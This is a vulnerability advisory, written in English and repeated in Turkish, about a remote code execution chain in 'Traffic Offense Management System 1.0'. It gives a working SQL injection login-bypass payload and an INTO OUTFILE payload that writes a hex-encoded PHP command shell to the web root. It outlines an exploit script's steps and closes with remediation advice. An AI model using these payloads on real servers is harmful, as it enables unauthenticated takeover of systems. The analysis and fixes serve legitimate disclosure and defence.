Introduction
In this report, we will examine a critical Remote Code Execution (RCE) vulnerability discovered in the "Traffic Offense Management System 1.0". This vulnerability allows an unauthenticated attacker to completely compromise the server. The attack chain begins with an SQL Injection to bypass the authentication mechanism, followed by another SQL Injection (INTO OUTFILE) to write a malicious PHP file to the server.
Vulnerability Analysis
Phase 1: Authentication Bypass (SQL Injection)
The first step of the attack is to gain access to the administration panel. The application's login mechanism is located in classes/Login.php.
// classes/Login.php
$qry = $this->conn->query("SELECT * from users where username = '$username' and password = md5('$password') ");
As seen, the $username variable is directly included in the SQL query. This is a classic SQL Injection vulnerability.
Payload Used: admin' or '1'='1'#
When this payload is sent, the query becomes:
SELECT * from users where username = 'admin' or '1'='1'#' and password = md5('...')
Since this query always returns true, the attacker can log in as the administrator without knowing the password.
Phase 2: Path Disclosure
To write a file, we need to know the absolute path on the server. The id parameter in admin/drivers/manage_driver.php is also vulnerable to SQL injection.
// admin/drivers/manage_driver.php
$qry = $conn->query("SELECT * from `drivers_list` where id = '{$_GET['id']}' ");
If a single quote (') is sent to the id parameter, the SQL syntax breaks, and PHP returns a Warning message. This message contains the full path of the file on the server.
Phase 3: Remote Code Execution (SQL Injection - INTO OUTFILE)
Once the path is known, we can use the same SQL injection point (admin/drivers/manage_driver.php) to write a file to the server. MySQL's INTO OUTFILE feature is used to write query results to a file.
Payload Used:
' LIMIT 0,1 INTO OUTFILE '/var/www/html/admin/shell.php' LINES TERMINATED BY 0x3c3f7068702073797374656d28245f4745545b27636d64275d293b203f3e -- -
This payload writes the query result (or rather, the PHP code specified by LINES TERMINATED BY) to the specified path on the server. The hex-encoded part corresponds to <?php system($_GET['cmd']); ?>.
Exploit Development
The developed Python script (50244.py) automates the following steps:
- Login Bypass: Logs in by sending an SQLi payload to
classes/Login.php.
- Driver ID Detection: Scrapes
admin/?page=drivers to find a valid driver ID. This ID is required for the subsequent SQL injection.
- Path Detection: Sends a malformed ID to the
manage_driver page and parses the returned error message to find the server's full path.
- Shell Upload: Uses the
INTO OUTFILE technique to write a PHP file with a random name to the detected path.
- Command Execution: Sends a request to the uploaded PHP file to execute the
whoami command and prints the result.
Remediation
To fix these vulnerabilities:
-
Prepared Statements: Parameterized queries must be used in all database queries.
Vulnerable:
$qry = $this->conn->query("SELECT * from users where username = '$username' and password = md5('$password') ");
Secure:
$stmt = $this->conn->prepare("SELECT * from users where username = ? and password = md5(?)");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$qry = $stmt->get_result();
-
Disable Error Display: display_errors should be turned off in production systems.
-
Database Privileges: The FILE privilege (file read/write) should be revoked from the database user.
Giriş
Bu raporda, "Traffic Offense Management System 1.0" uygulamasında keşfedilen kritik bir Uzaktan Kod Yürütme (RCE) zafiyetini inceleyeceğiz. Bu zafiyet, kimlik doğrulaması yapılmamış bir saldırganın sunucuyu tamamen ele geçirmesine olanak tanır. Saldırı zinciri, kimlik doğrulama mekanizmasını atlatmak için bir SQL Enjeksiyonu ile başlar ve ardından sunucuya kötü amaçlı bir PHP dosyası yazmak için başka bir SQL Enjeksiyonu (INTO OUTFILE) kullanır.
Zafiyet Analizi
Aşama 1: Kimlik Doğrulama Atlatma (SQL Enjeksiyonu)
Saldırının ilk adımı, yönetim paneline erişim sağlamaktır. Uygulamanın giriş mekanizması classes/Login.php dosyasını incelediğimizde, $username değişkeninin doğrudan SQL sorgusuna dahil edildiğini görüyoruz.
// classes/Login.php
$qry = $this->conn->query("SELECT * from users where username = '$username' and password = md5('$password') ");
Görüldüğü gibi, $username değişkeni doğrudan SQL sorgusuna dahil edilmektedir. Bu, klasik bir SQL Enjeksiyonu zafiyetidir.
Kullanılan Yük (Payload): admin' or '1'='1'#
Bu yük gönderildiğinde sorgu şu hale gelir:
SELECT * from users where username = 'admin' or '1'='1'#' and password = md5('...')
Bu sorgu her zaman doğru döneceği için saldırgan, şifreyi bilmeden yönetici olarak giriş yapabilir.
Aşama 2: Yol İfşası (Path Disclosure)
Dosya yazabilmek için sunucudaki tam dosya yolunu (absolute path) bilmemiz gerekir. admin/drivers/manage_driver.php dosyasındaki id parametresi de SQL enjeksiyonuna açıktır.
// admin/drivers/manage_driver.php
$qry = $conn->query("SELECT * from `drivers_list` where id = '{$_GET['id']}' ");
Eğer id parametresine tek tırnak (') gönderilirse, SQL sözdizimi bozulur ve PHP bir uyarı (Warning) mesajı döndürür. Bu mesaj, dosyanın sunucudaki tam yolunu içerir.
Aşama 3: Uzaktan Kod Yürütme (SQL Injection - INTO OUTFILE)
Yolu öğrendikten sonra, aynı SQL enjeksiyon noktasını (admin/drivers/manage_driver.php) kullanarak sunucuya bir dosya yazabiliriz. MySQL'in INTO OUTFILE özelliği, sorgu sonuçlarını bir dosyaya yazmak için kullanılır.
Kullanılan Yük (Payload):
' LIMIT 0,1 INTO OUTFILE '/var/www/html/admin/shell.php' LINES TERMINATED BY 0x3c3f7068702073797374656d28245f4745545b27636d64275d293b203f3e -- -
Bu yük, sorgu sonucunu (veya daha doğrusu LINES TERMINATED BY ile belirttiğimiz PHP kodunu) sunucuda belirtilen yola yazar. Hex olarak kodlanmış kısım <?php system($_GET['cmd']); ?> koduna karşılık gelir.
Exploit Geliştirme
Geliştirilen Python betiği (50244.py) şu adımları otomatikleştirir:
- Login Bypass:
classes/Login.php adresine SQLi yükü göndererek oturum açar.
- Sürücü ID Tespiti:
admin/?page=drivers sayfasını tarayarak geçerli bir sürücü ID'si bulur. Bu ID, bir sonraki SQL enjeksiyonu için gereklidir.
- Yol Tespiti:
manage_driver sayfasına hatalı bir ID göndererek dönen hata mesajından sunucunun tam yolunu ayrıştırır.
- Shell Yükleme:
INTO OUTFILE tekniğini kullanarak, tespit edilen yola rastgele isimli bir PHP dosyası yazar.
- Komut Çalıştırma: Yüklenen PHP dosyasına bir istek göndererek
whoami komutunu çalıştırır ve sonucu ekrana basar.
Çözüm ve Kapatma
Bu zafiyetlerin giderilmesi için:
-
Hazırlanmış İfadeler (Prepared Statements): Tüm veritabanı sorgularında parametreli sorgular kullanılmalıdır.
Zafiyetli:
$qry = $this->conn->query("SELECT * from users where username = '$username' and password = md5('$password') ");
Güvenli:
$stmt = $this->conn->prepare("SELECT * from users where username = ? and password = md5(?)");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$qry = $stmt->get_result();
-
Hata Gösterimini Kapatma: Canlı sistemlerde display_errors kapalı olmalıdır.
-
Veritabanı Yetkilerini Kısıtlama: Veritabanı kullanıcısının FILE yetkisi (dosya okuma/yazma) kaldırılmalıdır.